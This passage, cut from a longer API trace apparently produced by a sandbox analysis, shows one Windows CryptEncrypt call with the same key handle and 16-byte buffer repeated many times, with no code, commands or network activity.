pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.747] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.748] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.749] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.750] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.755] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 